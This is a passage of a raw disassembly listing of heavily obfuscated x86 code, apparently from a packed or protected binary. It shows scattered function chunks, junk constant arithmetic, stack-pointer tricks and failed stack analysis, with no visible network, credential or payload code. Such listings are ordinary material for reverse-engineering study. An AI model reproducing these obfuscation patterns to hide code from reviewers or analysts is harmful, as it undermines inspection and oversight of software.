005A4DD2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A681B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A95F9 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AFAA9 SIZE 00000014 BYTES push bx mov bh, 2Fh or dl, bh pop bx jmp loc_5A681B sub_5AAFCA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AAFD7: ; CODE XREF: sub_5AA2D1-7251j pop dword ptr [esp+0] pop esp jmp loc_5AA30F ; --------------------------------------------------------------------------- loc_5AAFE0: ; CODE XREF: sub_5AA2D1+27A1j mov eax, ebp mov ebp, [esp-8+arg_4] add esp, 4 sub esi, 2E19354Ah sub esi, eax add esi, 2E19354Ah pop eax and ecx, esi mov esi, [esp-10h+arg_C] add esp, 4 jmp loc_59CF29 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599509 loc_5AB007: ; CODE XREF: sub_599509+4BA0j add edi, 4 xchg edi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] pop [esp+4+var_4] jmp loc_5AAEDC ; END OF FUNCTION CHUNK FOR sub_599509 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5AB018: ; CODE XREF: sub_5A0FFF+B17Dj mov [esp+26h+var_26], ebp jmp loc_5A62B8 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5AB020: ; CODE XREF: sub_5A355D+B4E7j ; sub_5AC803+2325j push esp mov eax, [esp+0] add esp, 4 jmp loc_59EA94 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- loc_5AB02C: ; CODE XREF: sdfs____:0059AA55j mov esi, 1 add ebp, esi jmp loc_5ACCEC ; --------------------------------------------------------------------------- loc_5AB038: ; CODE XREF: sdfs____:005AE709j jle loc_5A7CB0 push 0F12h mov [esp], ebx jmp loc_599597 ; --------------------------------------------------------------------------- add ebp, edx ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB04D: ; CODE XREF: sub_5AA2D1-918Dj mov esp, [esp+10h+var_10] mov word ptr [esp+10h+var_10], ax jmp loc_59910F ; --------------------------------------------------------------------------- loc_5AB059: ; CODE XREF: sub_59A26C-1F5j ; sub_5AA2D1+47E1j or word ptr [esp+10h+var_10], ax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5AB063: ; CODE XREF: sub_5A7BA0-B840j inc eax xor eax, 8945C9BCh jmp loc_5A690E ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A68A5 loc_5AB06E: ; CODE XREF: sub_5A68A5-527Ej pop esp jmp loc_59ECC2 ; END OF FUNCTION CHUNK FOR sub_5A68A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB074: ; CODE XREF: sub_5AA2D1-10890j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AB079: ; CODE XREF: sub_59C979+3320j pop esp sub edi, edx pop edx jmp loc_59EE8B ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_5AB082: ; CODE XREF: sub_5A913B-3262j push edx push 4CD6h jmp loc_59F0A3 ; END OF FUNCTION CHUNK FOR sub_5A913B ; =============== S U B R O U T I N E ======================================= sub_5AB08D proc near ; DATA XREF: sdfs____:00598F70o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = word ptr 8 ; FUNCTION CHUNK AT 005998D8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059996C SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00599EB3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059A890 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059C018 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059DA0F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059E69E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059F2C7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A1E3E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AB0E0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AFF8E SIZE 0000002D BYTES mov cx, [esp+0] push 3394h mov [esp+4+var_4], ebp push 4361h mov [esp+8+var_8], esp add [esp+8+var_8], 4 jmp loc_5998D8 sub_5AB08D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB0AD: ; CODE XREF: sub_5AA2D1-7075j add cl, 0D2h pop dx push small 43Bh jmp loc_5A832C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5AB0BB: ; CODE XREF: sub_599A61+DB8Ej mov ebp, 472353FAh jmp loc_5AD4EB ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599E58 loc_5AB0C5: ; CODE XREF: sub_599E58+C616j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_599E58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5AB0CA: ; CODE XREF: sub_5A5EFF-3936j add ebp, 8CF48CABh jmp loc_5ADACB ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB0D5: ; CODE XREF: sub_5AA2D1:loc_59EF96j jmp loc_5AA995 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A765F loc_5AB0DA: ; CODE XREF: sub_5A765F-4F09j pop ebx jmp loc_5AEE08 ; END OF FUNCTION CHUNK FOR sub_5A765F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB08D loc_5AB0E0: ; CODE XREF: sub_5AB08D-C9EEj mov edi, 2BC23083h mov eax, edi jmp loc_59C018 ; END OF FUNCTION CHUNK FOR sub_5AB08D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5AB0EC: ; CODE XREF: sub_5AA2D1-9F08j ; sub_5A18F6+1E4Cj mov [esp+0Ch+var_C], ebx mov ebx, 4 sub esi, 7D586BE1h add esi, ebx add esi, 7D586BE1h pop ebx sub esp, 4 mov [esp+0Ch+var_C], edx sub esp, 4 mov [esp+10h+var_10], edi push 73343F8Eh push [esp+14h+var_14] pop edi jmp loc_5AE5AA ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AB120: ; CODE XREF: sub_5A503A-2E50j ; sub_5992DA+14467j xor eax, edx jmp loc_59FC9E ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5AB127: ; CODE XREF: sub_5B01F7-131F4j mov ebp, ebx mov ebx, [esp+1Eh+var_20+2] push ebp jmp loc_5AB91D ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8B3E loc_5AB132: ; CODE XREF: sub_5A8B3E+4j push 6E77h jmp loc_5AD07D ; END OF FUNCTION CHUNK FOR sub_5A8B3E ; --------------------------------------------------------------------------- loc_5AB13C: ; CODE XREF: sdfs____:005AD917j add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp dec dword ptr [esp] pushf jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D37E loc_5AB152: ; CODE XREF: sub_59D37E+293Dj pop ebx jmp loc_5AEEEB ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A4E8 loc_5AB158: ; CODE XREF: sub_59A4E8+7555j push edi jmp loc_59AEA9 ; END OF FUNCTION CHUNK FOR sub_59A4E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5AB15E: ; CODE XREF: sub_5A9EC5-8015j pop eax push eax mov al, 30h sub ch, al pop eax xor ch, 0D4h xor al, ch push [esp+4+var_4] pop ecx add esp, 4 jmp loc_5A0F0F ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; =============== S U B R O U T I N E ======================================= sub_5AB179 proc near ; CODE XREF: sub_5A1726-1008j ; FUNCTION CHUNK AT 005A01FC SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A2072 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005AF6DC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AFD00 SIZE 00000017 BYTES push ebp jmp loc_5A2072 sub_5AB179 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3C19 loc_5AB17F: ; CODE XREF: sub_5A3C19-810j pop ecx pop [esp-8+arg_4] mov esp, [esp-0Ch+arg_8] mov [esp-0Ch+arg_8], ebx mov ebx, esp push edi mov edi, 4 add ebx, edi jmp loc_5ABF5B ; END OF FUNCTION CHUNK FOR sub_5A3C19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5AB198: ; CODE XREF: sub_59FC02-34E2j sub ecx, ebp jmp loc_5ADAB8 ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB19F: ; CODE XREF: sub_5AA2D1-5D91j push 6F29h mov [esp+0], eax mov eax, 13A32EA0h sub [esp-2+arg_4+2], eax pop eax pop edx mov edi, [esp-0Ah+arg_4+2] push esi push esp pop esi push eax mov eax, 41AC0332h add eax, 0BE53FCD2h add esi, eax pop eax push ebx mov ebx, 4 jmp loc_5AF00A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AB1D1: ; CODE XREF: sub_59C979+82F0j push edx mov edx, 36697C76h shl edx, 7 add edx, 0B5F4F66h jmp loc_5A0980 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5AB1E5: ; CODE XREF: sub_5A0AA2+764Fj push esi mov esi, 4 jmp loc_5AA77E ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AB1F0: ; CODE XREF: sub_59D6B8+7244j pop ebp mov edi, ebx jmp loc_5AB40A ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD213 loc_5AB1F8: ; CODE XREF: sub_5AD213-689Cj pop [esp+10h+var_10] add [esp+0Ch+var_C], 4 jmp loc_5A44DB ; END OF FUNCTION CHUNK FOR sub_5AD213 ; =============== S U B R O U T I N E ======================================= sub_5AB207 proc near ; CODE XREF: sub_5A06DD+4129j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00599872 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059ADC0 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0059CE05 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059DC7C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059DDE9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059EA61 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059F22F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059FB50 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005A2803 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A5087 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A6DC5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A87A2 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005A8C20 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A9592 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AE6AB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AF252 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005B03F6 SIZE 00000010 BYTES push ebx jmp loc_5A9592 sub_5AB207 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB20D: ; CODE XREF: sub_5AA2D1-B3Dj jmp loc_59C4C3 ; --------------------------------------------------------------------------- loc_5AB212: ; CODE XREF: sub_5AA2D1-7ABBj xor esi, 73E5BC15h mov ebp, esi jmp loc_59BD95 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AB21F: ; CODE XREF: sub_59D6B8+9752j mov ecx, 408A69E5h and ecx, 77BF66E1h xor ecx, 91A404Dh add edi, ecx pop ecx jmp loc_59A5A7 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D4FD loc_5AB238: ; CODE XREF: sub_59D4FD+6j push [esp+8+var_8] mov esi, [esp+0Ch+var_C] add esp, 4 add esp, 4 add esi, 4 push ecx jmp loc_5A0E4E ; END OF FUNCTION CHUNK FOR sub_59D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5AB256: ; CODE XREF: sub_5A118F:loc_59DE46j dec ebx xor ebx, 8E519B0h js loc_5AE665 shr ebx, 7 jmp loc_5AA70B ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5330 loc_5AB26B: ; CODE XREF: sub_5A5330-14EDj pop eax xchg ecx, [esp+0Ch+var_C] pop esp add ecx, 4 jmp loc_59BF9E ; END OF FUNCTION CHUNK FOR sub_5A5330 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AB27B: ; CODE XREF: sub_5992DA+A687j and ah, 6Dh add ah, 53h sub bl, ah pop eax xor al, bl mov ebx, [esp+32h+var_32] add esp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+32h+var_32] pop esp mov [esp+2Eh+var_2E], eax push ecx mov cl, 7Eh mov ah, 0E1h sub ah, cl pop ecx sub bl, ah push [esp+2Eh+var_2E] pop eax add esp, 4 add bl, 0C1h add bl, 43h add bl, al sub bl, 43h push small 68FDh mov word ptr [esp+2Ch+var_2E+2], dx mov dl, 0C1h sub bl, dl jmp loc_5A1C96 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5AB2D1: ; CODE XREF: sub_5A63DC+4AB6j push 1E311458h pop ebp xor ebp, edx mov edx, [esp+0Ch+var_C] push ebx mov ebx, esp add ebx, 4 jmp loc_5AFDA2 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; =============== S U B R O U T I N E ======================================= sub_5AB2EA proc near ; CODE XREF: sub_59C2B8-1589j ; sub_599A61+339Dj var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005A57F2 SIZE 0000001D BYTES push ebp push esp jmp loc_5A57F2 sub_5AB2EA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB2F1: ; CODE XREF: sub_5AA2D1+6C9j push ax jmp loc_5A86E2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB622 loc_5AB2F8: ; CODE XREF: sub_5AB622-900Cj add edi, 40AF19A0h jg loc_5AE496 shl edi, 2 jmp loc_5A2F9A ; END OF FUNCTION CHUNK FOR sub_5AB622 ; --------------------------------------------------------------------------- or bh, 45h push esp ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB310: ; CODE XREF: sub_5AA2D1:loc_59D33Ej ; sub_5AF9B3+572j add eax, 1 xor eax, 2BB95551h add eax, 0D737728h jmp loc_5AFAD1 ; --------------------------------------------------------------------------- loc_5AB322: ; CODE XREF: sub_5AA2D1-74AEj sub ah, bh pop ebx xor ch, ah mov eax, [esp+4+var_4] add esp, 4 push bx mov bh, 37h jmp loc_59D643 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5AB339: ; CODE XREF: sub_5AC803-F7BBj mov bh, al jmp loc_5A10FD ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB340: ; CODE XREF: sub_5AA2D1-426Cj sub edx, 4ED1F92Eh sub eax, edx pop edx sub esp, 4 mov [esp+4+var_4], edi push 6127h mov [esp+8+var_8], esi jmp loc_5A29D8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BA35 loc_5AB35C: ; CODE XREF: sub_59BA35+13CBEj shr esi, 6 sub esp, 4 jmp loc_59A4A9 ; END OF FUNCTION CHUNK FOR sub_59BA35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABE0D loc_5AB367: ; CODE XREF: sub_5ABE0D+1D4Ej push edx jmp loc_5A0BD8 ; END OF FUNCTION CHUNK FOR sub_5ABE0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB36D: ; CODE XREF: sub_5AA2D1-70FEj not ebx jmp sub_5B03B3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AB374: ; CODE XREF: sub_5AA2D1+534Aj ; sub_59CBE1+13101j add esp, 4 add edx, ebx jmp loc_5AF139 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5AB37E: ; CODE XREF: sub_5A6BBC+62Fj mov esi, [esp+4+var_4] add esp, 4 and ecx, ebp jmp loc_59ACEB ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7508 loc_5AB38E: ; CODE XREF: sub_5A7508-A82Fj jmp loc_5A6D72 ; END OF FUNCTION CHUNK FOR sub_5A7508 ; --------------------------------------------------------------------------- mov cx, [esp] push 4F24h mov [esp], ebx mov ebx, esp jmp loc_59998E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AB3A6: ; CODE XREF: sub_59D6B8-249Dj jmp loc_5ABB40 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_5AB3AB: ; CODE XREF: sub_5AC18D-11C7Cj pop edx mov edx, eax mov eax, [esp-4+arg_0] add esp, 4 sub edx, 4D746AACh jmp loc_5A9F1A ; END OF FUNCTION CHUNK FOR sub_5AC18D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A6F loc_5AB3BF: ; CODE XREF: sub_599A6F+450j xor ah, 0ABh sub bh, ah pop eax add al, bh mov ebx, [esp] add esp, 4 mov ebx, [esp+4+var_4] add esp, 4 add al, bl push edx jmp loc_5A44FE ; END OF FUNCTION CHUNK FOR sub_599A6F ; =============== S U B R O U T I N E ======================================= sub_5AB3DB proc near ; CODE XREF: sub_59F1C3+1D95j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059E828 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059E8FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059ED18 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A06AF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A3A04 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A3D4A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A8267 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A862A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A9873 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A98AF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A9E25 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005ACC65 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AFA46 SIZE 0000000A BYTES sub esp, 4 jmp loc_5A98AF sub_5AB3DB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5AB3E3: ; CODE XREF: sub_5A118F+Aj mov edx, 33A57246h and eax, edx pop edx jmp loc_5ADD00 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AB3F0: ; CODE XREF: sub_59C979-18BCj or eax, 7D9A698Eh jmp loc_5AF4EE ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5AB3FA: ; CODE XREF: sub_5A77D5-7055j mov ebx, 4 add edi, ebx pop ebx xor edi, [esp+4+var_4] jmp loc_59B25C ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AB40A: ; CODE XREF: sub_59D6B8+DB3Bj mov ebx, [esp+0] add esp, 4 not edi push ebx jmp loc_5A1F73 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADBA5 loc_5AB41B: ; CODE XREF: sub_5ADBA5-A2FCj add cl, 39h jmp loc_5A834F ; END OF FUNCTION CHUNK FOR sub_5ADBA5 ; --------------------------------------------------------------------------- loc_5AB423: ; CODE XREF: sdfs____:0059A665j mov ebx, esp jmp loc_5A928B ; --------------------------------------------------------------------------- mov cx, [esp] push 7BE5h mov [esp], edx push esp pop edx push 44C5h jmp loc_5A76D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5AB442: ; CODE XREF: sub_59EE3E+745Cj ; sub_5A477C+1FC0j add ebx, 1F06FFEAh jmp loc_5AE49E ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5AB44D: ; CODE XREF: sub_5AA2D1-9C27j ; sub_5A0FFF+816j mov bh, al mov dl, bh mov ebx, [esp+10h+var_10] add esp, 4 push ebx push edx jmp loc_5A2429 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6D4 loc_5AB461: ; CODE XREF: sub_5AD6D4+1j push edi jmp loc_5AD579 ; END OF FUNCTION CHUNK FOR sub_5AD6D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5B27 loc_5AB467: ; CODE XREF: sub_5A5B27-1458j shl eax, 8 jnz loc_59EC47 dec eax jnz loc_5ACB2B xor eax, 1E7296h sub ah, 63h ; END OF FUNCTION CHUNK FOR sub_5A5B27 ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5AB47F: ; CODE XREF: sub_5A77D5-969Ej pop ebx push edx mov edx, esp add edx, 4 jmp loc_5AF5B3 ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C2A6 loc_5AB48E: ; CODE XREF: sub_59C2A6+6j mov [esp+4+var_4], ebp mov ebp, 0C7C08EFh push esi mov esi, 6BA87B44h jmp loc_5A166C ; END OF FUNCTION CHUNK FOR sub_59C2A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AB4A1: ; CODE XREF: sub_59C979+BCAj pop [esp-12h+arg_E] mov esp, [esp+0] jmp loc_5A45C5 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5AB4AC: ; CODE XREF: sub_59A479+AD86j jge loc_5A13A8 xor eax, 4FEC8778h jmp loc_59F9BD ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5AB4BC: ; CODE XREF: sub_5A16B8+A23Bj jns loc_5AA3FC sub ebp, 0FEDF752Dh mov edi, ebp mov bh, ah loc_5AB4CC: ; CODE XREF: sub_5ABC2F-F287j push esi not [esp+10h+var_10] pop esi xor esi, 460C2909h inc esi add esi, 40E41EA3h add ecx, esi pop esi sub esp, 4 mov [esp+0Ch+var_C], eax mov eax, 4 push edx mov edx, 619B4B4Eh add edx, 0C616DAEh add edx, 9EA0AB89h sub ecx, edx pop edx add ecx, eax push edx mov edx, 0C9D6485h jmp loc_59D944 ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AB511: ; CODE XREF: sub_59C979+D79j ; sub_5AF2D9-1F27j mov edx, [esp+0] push eax mov eax, esp add eax, 4 jmp loc_5A98BF ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push small 0B37h jmp loc_5A1D46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB52F: ; CODE XREF: sub_5AA2D1-D30Bj pop esi push edi jmp loc_5ACB96 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5AB536: ; CODE XREF: sub_5A79BE-44D5j and esi, 3F2929F3h jb loc_59B749 neg esi and esi, 65CA590Dh dec esi jmp loc_5A3F10 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5AB550: ; CODE XREF: sub_59E94B+9B71j sub edi, ebx pop ebx push ebp mov ebp, 48776D54h push ecx jmp loc_5A141D ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- loc_5AB55F: ; CODE XREF: sdfs____:005AFEC5j sub esi, 0BAA945B1h xor ebx, esi pop esi add ecx, ebx jmp loc_5A15D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5AB56F: ; CODE XREF: sub_59F02F+B55Bj ; sub_5A253A+81EFj or [edi+1Ch], ebx jmp loc_5AF9D9 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599117 loc_5AB577: ; CODE XREF: sub_599117+32j add esp, 4 push ebp push ecx mov ecx, eax mov ebp, ecx pop ecx mov esi, ebp pop ebp pop eax push ebx mov ebx, 331B2AFBh jmp loc_5A0E31 ; END OF FUNCTION CHUNK FOR sub_599117 ; =============== S U B R O U T I N E ======================================= sub_5AB593 proc near ; DATA XREF: sdfs____:00598F0Co ; FUNCTION CHUNK AT 005A6E95 SIZE 00000005 BYTES pop dword ptr [edx] jmp loc_5A6E95 sub_5AB593 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03E8 loc_5AB59A: ; CODE XREF: sub_5B03E8-74D5j mov [esp+0], ecx mov ecx, 4 add edi, ecx jmp loc_5A6B0F ; END OF FUNCTION CHUNK FOR sub_5B03E8 ; =============== S U B R O U T I N E ======================================= sub_5AB5A9 proc near ; DATA XREF: sdfs____:00598F28o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0059B554 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059BDFA SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059CFDF SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059E4AF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059F696 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005A1109 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A6DA0 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005A8914 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005AB861 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AB9C4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005B00AA SIZE 00000017 BYTES push dword ptr [esp+0] pop eax push 6785h mov [esp+4+var_4], ebx push 2CEDh mov [esp+8+var_8], esp add [esp+8+var_8], 4 jmp loc_5AB9C4 sub_5AB5A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION 